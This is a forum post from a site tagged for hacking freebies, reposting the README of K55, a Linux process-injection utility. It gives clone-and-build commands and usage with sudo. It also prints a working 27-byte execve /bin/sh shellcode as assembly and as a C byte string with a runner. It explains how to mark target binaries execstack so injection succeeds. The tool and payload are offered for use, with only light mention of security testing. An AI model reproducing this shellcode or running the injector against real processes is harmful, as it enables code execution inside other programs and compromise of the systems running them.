# K55 | Linux X86\_64 Process Injection Utility | Manipulate Processes With Customized Payloads

**URL:** <https://onehack.st/t/k55-linux-x86-64-process-injection-utility-manipulate-processes-with-customized-payloads/177427>\
**Category:** Tools & Scripts\
**Tags:** tools, hacking, freebies\
**Created:** [April 2, 2021, 11:52am UTC](https://onehack.st/t/k55-linux-x86-64-process-injection-utility-manipulate-processes-with-customized-payloads/177427 "2021-04-02T11:52:49Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![Prometheus](https://onehack.st/user_avatar/onehack.st/prometheus/32/34950_2.png) [@Prometheus](https://onehack.st/u/Prometheus)\
**Post date:** [April 2, 2021, 11:52am UTC](https://onehack.st/t/k55-linux-x86-64-process-injection-utility-manipulate-processes-with-customized-payloads/177427/1 "2021-04-02T11:52:49Z")

</div>

## K55 - Linux x86\_64 Process Injection Utility (C++14)

[![](https://github.com/josh0xA/K55/raw/main/imgs/k55logo.png?raw=true)](https://github.com/josh0xA/K55/blob/main/imgs/k55logo.png?raw=true)

[![](https://camo.githubusercontent.com/9294c7b5c2f12252630cfd48a3dfa5df6adb1577c14615daa3d589a75eff80fa/68747470733a2f2f6170702e636f646163792e636f6d2f70726f6a6563742f62616467652f47726164652f3536303162653266663062623437666561653330393064303938636563303166)](https://www.codacy.com/gh/josh0xA/K55/dashboard?utm_source=github.com&utm_medium=referral&utm_content=josh0xA/K55&utm_campaign=Badge_Grade) [![lisence](https://camo.githubusercontent.com/5fab2edf3816ef9fb3ebcaf6e613fa7b40ff7652ec69e5f6e7f695aa24bf5ce6/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4c6963656e73652d4d49542d626c75652e737667)](https://lbesson.mit-license.org/)

## About K55

(pronounced: “kay fifty-five”)  
The K55 payload injection tool is used for injecting x86\_64 shellcode payloads into running processes. The utility was developed using modern C++11 techniques as well as some traditional C linux functions like `ptrace()`. The shellcode spawned in the target process is 27 bytes and it executes /bin/sh (spawns a bash shell) within the target’s address space. In the future, I will allow users to input there own shellcode via command line arguments.

## Installation

1. `git clone https://github.com/josh0xA/K55.git`

2. `cd K55`

3. `chmod +x build-install.sh`

4. `./build-install.sh`

## K55 Usage

`Usage: ./K55 <process-name>`

- process-name can be any linux process with `r-xp` or `execstack` permissions.

### Tests

Test 1) In one terminal (K55/ Directory), run: `./k55_example_process/k55_test_process`  
Test 2) In another terminal, run the injector: `sudo ./K55 k55_test_process`

## K55 In Action

- A shell is spawned in k55\_test\_process when the K55 shellcode injector is ran (as root).

### Injecting Into Given Process

[![](https://github.com/josh0xA/K55/raw/main/imgs/injector_proof.png?raw=true)](https://github.com/josh0xA/K55/blob/main/imgs/injector_proof.png?raw=true)

### Shell Spawned In Target

[![](https://github.com/josh0xA/K55/raw/main/imgs/target_proof1.png?raw=true)](https://github.com/josh0xA/K55/blob/main/imgs/target_proof1.png?raw=true)

## Limitations

Obviously, `ptrace(PTRACE_POKETEXT...)` calls are not the most disguised. So, some applications can limit the effect of K55. Although, for security testing, make sure to turn on `execstack` for your target applications. For example if I’m testing on gdb, before I would inject, I would run the following: `sudo execstack -s /usr/bin/gdb`. Install execstack from your distrobutions package manager. For Arch Linux users, you can find execstack on the AUR.

## Crafting The Shell Payload

Note: The following is a demonstration. The payload string is already hardcoded into K55.

### Assembly Implementation of The Payload ([Cited from shell-storm (redirect)](http://shell-storm.org/shellcode/files/shellcode-806.php))

main: xor eax, eax mov rbx, 0xFF978CD091969DD1 neg rbx push rbx push rsp pop rdi cdq push rdx push rdi push rsp pop rsi mov al, 0x3b syscall

#### C-Implementation of The Payload

#include \<stdio.h\> #include \<string.h\> // Shellcode breakdown of the assembly code. char code = “\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05”; int main() { printf(“len:%d bytes\n”, strlen(code)); (_(void(_)()) code)(); return 0; }

## References

> [http://shell-storm.org/shellcode/files/shellcode-806.php](http://shell-storm.org/shellcode/files/shellcode-806.php)  
> [https://0x00sec.org/t/linux-infecting-running-processes/1097](https://0x00sec.org/t/linux-infecting-running-processes/1097)

## License

MIT License  
Copyright (c) Josh Schiavone

## GitHub:

[https://github.com/josh0xA/K55](https://github.com/josh0xA/K55)